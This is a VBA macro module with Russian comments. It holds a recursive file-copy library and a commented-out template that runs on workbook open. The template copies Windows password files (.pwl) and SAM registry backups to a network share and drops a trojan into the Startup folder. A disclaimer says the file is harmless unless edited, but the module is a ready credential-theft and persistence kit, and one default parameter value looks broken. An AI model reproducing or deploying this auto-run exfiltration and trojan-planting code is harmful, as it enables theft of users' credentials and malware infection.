Option Explicit

'сделано paganoid'ом  в 2002 году
'
'для использования исключительно в ознакомительных и мирных целях
'
'копирует при запуске все файлы из заданной директории в заданную.
'примеры - далее в коде.
'
'по некоторым соображениям исходники несколько покоцаны (в смысле
'орфография и пунктуация НЕ сохранены ;) )
'
'напоминаю, что 272 и 273ю статью за НСД еще никто не отменял.
'также подчёркиваю, что данный файл в "дефолтной поставке"
'абсолютно безвреден (более того, полезен, как программная библиотека)
'и может быть сделан вредоносным исключительно путем модификации исходного кода
'злоумышленником. Т.ч. к автору никаких претензий, плиз.
'

'лог файл в целевой директории, в который пишется отчет, сколько чего откель скопировали
Const LogFileName As String = "copylog.txt"
Const DLM As String = "\"

'''______команды_на_копирование_лежат_здесь_(закомментаренные)_________________________________
'эта процедура (StartCopy) должна выполняться при открытии рабочей книги
'для этого в дереве проекта нужно дважды тыкнуть на ThisWorkbook
'и вставить одну (раскомментаренную ессна) заветную строчку:
'
'   Private Sub Workbook_Open():  StartCopy: End Sub
'
''тогда при запуске (после вопроса о макросах), сразу выполнится следущая процедура
'Public Sub StartCopy()
'  On Error Resume Next
''  'копирует все файлы паролей Win9х в расшаренную сетевую папку
''  CopyFiles "c:\WINDOWS\", "\\NETWORK\PATH", "*.pwl"
''  'копирует резервные копии файлов реестра NT в расшаренную сетевую папку
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam._"
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam.sav"
''  'заливает трояна в директорию автозапуска NT
''  CopyFiles "\\NETWORK\PATH\TROJAN", "C:\WINNT\Profiles\All Users\Start Menu\Programs\Startup\", "trojan.exe"
''  '...и т.п., все что нужно
'End Sub

'''____далее_следует_внутреннее_устройство____________________________________
'Копирует (рекурсивно) файлы по маске из одной директории в другую
Public Sub CopyFiles(ByVal SrcDir As String, ByVal TrgDir As String, Optional ByVal FileMask As String = ., Optional Recurse As Boolean = True)
  Dim v As Variant
  Dim i As Long
  Dim l As Long
  Dim cf As String
  Dim tf As String
  v = ff(FileMask, SrcDir, , Recurse)
  If IsArray(v) Then
    l = UBound(v)
    la TrgDir, CStr(l) & " file(s) match condition " & FileMask & " in directory " & SrcDir & ". All of them are copied (maybe ;)"
    For i = 0 To l
      cf = spth(SrcDir, TrgDir, v(i))
      crf gdfp(cf)
      FileCopy v(i), cf
    Next
  Else
    la TrgDir, "0 files match condition " & FileMask & " in directory " & SrcDir & " - no files copied"
  End If
End Sub

'Заморочки с поиском файлов, разбором строк, созданием папок и т.п.

Private Sub la(ByVal TrgDir As String, ByVal msg As String, Optional ByVal TimeStamp As Boolean = True)
  Dim fn As Integer
  fn = FreeFile
  Open fws(TrgDir) & LogFileName For Append As #fn
  Print #fn, IIf(TimeStamp, CStr(Now) & vbTab, "") & msg
  Close #fn
End Sub
Private Function gdfp(ByVal p As String) As String
  Dim i As Integer
  Dim bf As Boolean
  i = Len(p)
  While i > 0 And Not bf
    If Strings.Mid(p, i, 1) = DLM Then
      bf = True
    Else
      i = i - 1
    End If
  Wend
  gdfp = Strings.Mid(p, 1, i)
End Function
Private Function splt(ByVal Str As String, ByVal Delim As String) As Variant
  Dim i As Integer
  Dim Strs() As String
  Dim npo As Integer
  Dim ico As Integer
  Dim bs As Boolean
  i = 1
  ico = -1
  While Not bs
    npo = InStr(i, Str, Delim)
    If npo > 0 Then
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i, npo - i)
      i = npo + Len(Delim)
    Else
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i)
      bs = True
    End If
  Wend
  splt = Strs
End Function
Private Sub crf(FolderPath As String)
  Dim i As Integer
  Dim j As Integer
  Dim Good As Boolean
  Dim s As Variant
  Dim Pt As String
  s = splt(FolderPath, DLM)
  j = LBound(s)
  While Not Good
    Pt = ""
    For i = LBound(s) To j
      If Pt = "" Then
        Pt = s(i)
      Else
        Pt = Pt & DLM & s(i)
      End If
    Next
    On Error Resume Next
    MkDir Pt
    If Err.Number = 58 Or Err.Number = 0 Or Err.Number = 75 Then
      j = j + 1
    Else
      On Error GoTo 0
      Err.Raise vbObjectError, , "Shit happens"
    End If
    On Error GoTo 0
    If j > UBound(s) Then Good = True
  Wend
End Sub
Public Function spth(ByVal sd As String, ByVal td As String, ByVal pts As String)
  sd = fws(sd)
  spth = IIf(Left(pts, Len(sd)) = sd, fws(td) & Mid(pts, Len(sd) + 1), fws(td))
End Function
Private Function ff(ByVal fma As String, ByVal spth As String, Optional atbts As Long = 0, Optional ByVal r As Boolean = True) As Variant
  Dim i As Long
  Dim j As Long
  Dim tmp As Variant
  Dim sdli As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Long
  dls = -1
  mn = Dir(spth, atbts Or VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If mn Like fma Then
        If (GetAttr(spth & mn) And atbts) = atbts Then
          If dls = -1 Then
            ReDim dl(0) As String
          Else
            ReDim Preserve dl(dls + 1) As String
          End If
          dls = dls + 1
          dl(dls) = spth & mn
        End If
      End If
    End If
    mn = Dir()
  Loop
  If r Then
    sdli = sbfl(spth)
    If IsArray(sdli) Then
      For j = 0 To UBound(sdli)
        tmp = ff(fma, fws(sdli(j)), atbts)
        If Information.IsArray(tmp) Then
          For i = 0 To UBound(tmp)
            If dls = -1 Then
              ReDim dl(0) As String
            Else
              ReDim Preserve dl(dls + 1) As String
            End If
            dls = dls + 1
            dl(dls) = tmp(i)
          Next
        End If
      Next
    End If
  End If
  ff = IIf(dls = -1, Empty, dl)
End Function
Private Function fws(ByVal fp As String) As String
  fws = IIf(fp Like ("*" & DLM), fp, fp & DLM)
End Function
Private Function sbfl(ByVal spth As String) As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Integer
  Dim i As Integer
  dls = -1
  mn = Dir(spth, VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If (GetAttr(spth + mn) And VbFileAttribute.vbDirectory) = VbFileAttribute.vbDirectory Then
        If dls = -1 Then
          ReDim dl(0) As String
        Else
          ReDim Preserve dl(dls + 1) As String
        End If
        dls = dls + 1
        dl(dls) = spth + mn
      End If
    End If
    mn = Dir()
  Loop
  sbfl = IIf(dls = -1, Empty, dl)
End Function